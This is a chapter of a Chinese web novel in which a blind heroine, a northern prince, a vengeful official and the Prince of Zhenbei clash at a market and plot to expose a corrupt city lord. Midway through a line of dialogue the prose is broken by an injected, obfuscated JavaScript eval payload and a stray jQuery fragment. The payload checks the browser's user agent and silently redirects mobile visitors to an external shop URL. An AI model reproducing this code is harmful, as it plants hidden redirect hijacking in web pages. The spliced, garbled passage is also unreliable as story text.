周亦阴恻的声音响起:“真是阴魂不散……堂堂北狄王子,为何巴巴地贴上永朝的镇北王,次次都见不得我找他麻烦?”
慕迟羽连忙打断:“诶周亦你这话可说错了!我怎知你前两日去找我大舅哥,早知你来我便不白来那一趟了,本殿下可没有非要贴着代珩,况且那日若不是本殿下,你早被代珩用剑捅成马蜂窝了,谁找谁的麻烦?”
“现如今,代珩是我未来大舅哥的事已板上钉钉了!本殿下专程来找我的情妹妹,打断你们两个纯属凑巧,凑巧而已,你们继续!少琼,不阿素,你快看我又给你带了漂亮东西。”
我让慕迟羽演一出对我一见钟情的戏码,他入戏也忒快了些,还没到见陈泽报复的时候,怎么当着周亦和代珩的面就开始了。
我向慕迟羽声音方向转过头,他朝我走过来,小心捧过我的手,带我摸了摸他手上的宝匣,里面全是各种繁制的华贵器物,外面的匣子也比从那城主府得的妆奁木质细滑,面上嵌的宝珠更密更满。
慕迟羽初见时说他有无数个更漂亮的匣子,足以买椟还珠,我当他随口一说,竟今天就给我找来了,并且也没用它装普通可随意交还的“珠”,里面每样东西都和昨晚给我的水镜一般,用楼心的话说,颇有心意。
我稍稍低头示意慕迟羽附耳过来,用只有我们两人能听到的声音问他:“殿下怎么拿这么多东西,还说我是你的情妹妹,还没到我们做戏的时候。”
慕迟羽拉着我的衣袖摇摇晃晃,身上种种金银宝佩被摇得铃铃作响,他无辜道:“一见钟情,自然是打从见到妹妹的第一面,就对妹妹一往情深,我管它在哪,管它旁边是谁,阿素,我的礼物你可喜欢?”
“大舅哥,情妹妹……你们还真是旁若无人,不知廉耻,北狄王子,别忘了你是永朝公主的未婚夫,不为公主守节,你还配有情妹妹?”周亦长刀无声出鞘,当即便架在了慕迟羽脖子上。
我压低声音说话和慕迟羽离得极近,周亦的刀一出我几乎能闻到他长刀冷刃上积年不散的血腥气。
慕迟羽顺势向我怀里一躲,无辜又夸张地喊起来:“咦!把你的刀拿开,我可不想用沾过旁人血的刀碰我,你想砍我脑袋,成我给你砍,匣子里有新的漂亮小刀,你找本殿下情妹妹借,她若借给你,你再重新架着我脖子!”
代珩接过摊主刚蘸完的糖葫芦道了声多谢,随后不疾不徐出言阻止:“周大人,青岚城内,你要在此取北狄王子的性命么?”
“有何不可?公主死在北狄,自当取他性命偿还。”
“杀公主之人已死。”众人皆知剥皮酷吏杀我,代珩也不例外。他却不知周亦欲无差别屠杀的这慕迟羽的确是真正杀我之人。
周亦咬着仇恨,偏执的声音如同鬼魅罗刹:“那又如何,不仅他,北境那位新贵戴将军,还有你镇北王,伤害公主之人,你们的命我都取。”
周亦口中说了那位戴将军,慕迟羽安抚一般悄悄拍了拍我的手,昨夜我告诉他戴将军是对我始乱终弃的未婚夫君。
慕迟羽在一旁插科打诨:“周亦周大人在两国交战时奉命射杀公主,你就只取旁人性命?”
“待你们都下地狱,我自为公主陪葬。”
慕迟羽笑道:“你奉你们永朝天子之命,莫非还要让天子下地狱?”
“想不到周大人如此忠心,可别忘了督促我大舅哥手抄经文,戾气这么重,你不如和我大舅哥一起抄抄那什么金刚经。”
“阿素救我!”
我挡在慕迟羽面前,周亦拿刀逼着我,我寸步不让。
“周大人收了神通吧,在下的妹妹岂容你用刀指着。”
周亦长刀入鞘,拂袖而去。
方才他们初见时代珩说周亦踏破了他书房的窗,周亦还被他用剑所伤,也不知这二人如何达成了共识,今日见面却只是嘴上互不相让。
代珩把杀自己父兄不共戴天的刽子手留到现在,已经够让我匪夷所思了,再发生什么事相比起来也不足奇,他留下周亦定还有用处,周亦对他喊打喊杀,如今却也不伤代珩分毫,或许他们都有需暂时同路的理由,只等目标达成,便立刻白刃相接以命相搏。
“回府。北狄王子还要跟着吗?”已经走了个不速之客周亦,代珩话向另一个。
“当然,这匣子重的很,怎能让阿素亲自提着,我将她送回就走……诶代珩!”
代珩直接接过了他手中的宝贝大匣子。
“北狄王子,请回。”
代珩接过匣子的动作太过自然,慕迟羽一时间没反应过来,顺手就递给他了,而我已被代珩隔着衣袖握着手腕走出了好几步,弗言和花玉也在后面立刻跟上。
“你!好你个代珩,知道的说阿素是你刚寻回的妹妹,不知道的还以为你护着的是眼珠子,本殿下心悦阿素,我们还是命定姻缘,送送她怎么了?碍你什么眼了?阿素,明日我再来王府寻你,等我!”慕迟羽在后面情真意切地大喊,却没有真的跟上来,声音越来越远。
代珩仍握着我的手腕,却将步子放缓了,因他拉着我,我没由花玉扶着,刚从糖葫芦摊离开时我目不能视还不太敢落脚,稍有些踉跄,而现在我能适应了,代珩却缓下来了。
“知道身不由己的感受了?”
“……什么?”我没想通代珩问的是什么。
“你不能视物,我拉着你,你便只能随我走,你不怕么?”
我正色道:“不怕!”
代珩沉默了片刻。
我思索一瞬,由于我的身份是少琼,我稍稍压低声音道:“公子,楼心楼主说少琼曾因流落风尘被迟远所救,强迫少琼委身于他,少琼被逼撞墙自尽失去神智,迟远说他已将人送回了。那名望归楼艺伎名唤锦娘,被迟远看中了易容之术,将她蒙骗回府,迫使锦娘扮作少琼,对锦娘动辄打骂,楼心说锦娘就是被迟远所杀,她的这些话我信。”
“陈怀素,望归楼是谁的地盘。”
我有些莫名,我将知道的事一并告诉代珩,他不仅不应我,还问我这显而易见的话,我答道:“……城主庇护下的,迟远的地盘?但楼心未必与他同流合污。少琼失去神智,流落荒野,迟远让她在北境自生自灭,却说将人送回,真是无耻!”
“弗言昨日刚说过,城主府的马车带许多个被迷晕的姑娘到望归楼,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17828785|210155||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
那些姑娘如今还在王府偏房,迷药药性还没完全解,旁人都避之不及的魔窟,你倒是这样直接过去了,也不怕吃你不吐骨头?”
“……不怕。”
我不怕,只意外他喊的是陈怀素的名字,不是少琼。是担心我?想也不会,这念头未免太自作多情,许是担心我打草惊蛇。
也是,我看不到旁人的样貌,可代珩又不眼盲,怎会不知我是谁,怎会把我当做少琼。
代珩几不可查地叹了口气:“羊入虎口,你去了望归楼,被关押在哪,又会上谁的马车一概不知,才是真的身不由己,若我没去找你,你打算如何收场。”
“楼心楼主说,我稍稍受点伤便可放我回来。”
“稍稍?”代珩冷淡质疑我的话。
我气场弱了些,不知为何说这话底气不算足:“可能是受点看着严重些实际上无碍的伤,做戏而已。公子不来……我也应当走得掉。”
“你眼睛看不见,再给你打断两条胳膊,还是把你打得浑身是血?还是说像少琼那样浑身骨头都被弄断再放你走?”
我手指蜷起来,低下头没有反驳。断手断脚,浑身是血的滋味,我是玉衡时便体会过了。
“迟远那些人狠毒,可不似我只有嘴上不饶你。”
他这话是打算轻拿轻放了?嘴上不饶,他的确是这样的人。
但我突然发觉我似乎没有理由被他轻拿轻放,他凭什么拿我?或者说我有什么资格让他拿一拿我。
不管他心慕玉衡的事有几分真,我如今是陈怀素,他若心慕玉衡,我凭什么得到他的怜惜,假以时日又该如何保证不会因此生出什么不该有的妄想呢,我早不是已经死去的玉衡了。我该如何解释我是谁,我凭什么对别人的情深意重妄图占为己有。
他若厌恶玉衡,我与他之间隔着血海深仇,我又如何能借着陈怀素的皮囊接近他,无耻地让他卸去防备,瞒着他我是玉衡的事实。
我可以做一切事,但他必须坦然接受,不可关心更不可“轻拿”于我,我需得将妄想斩于未然。
“公子本不必担心妾,你我萍水相逢,公子救下我的性命,本就该我报答,但公子不让怀素报恩只想查少琼妹妹的死,只要与少琼有关的哪怕再小的事,若我可以帮上,怀素便可立即豁出性命去做。”
代珩又沉默了,似乎我每一次这样类似表衷心的话他听了都会沉默。
若是从前,他定然得嘲讽我惺惺作态表里不一,如今敛了性子,我倒希望他仍然和以前一样,不要背负这么多仇恨和痛苦。
我继续说:“公子,我方才说有办法让迟远自乱阵脚。”
“少琼重伤,锦娘便立刻被灭口,我猜迟远是怕少琼的事抖出来,那我们便将此事明明白白摆到面上,再让声势尽可能大些。”
“让我成为少琼,城主府里的人梦魇成真,日日饱受煎熬。直到他们坐不住受不了,相互猜疑,彼此撕咬,最后一击即破。”
“我们不是恰好得了少琼样貌的人皮面具吗?”
我看向代珩,他听到我的话原本沉默,我却越说越起劲,他听到最后一句后,拉着我直接立在原地。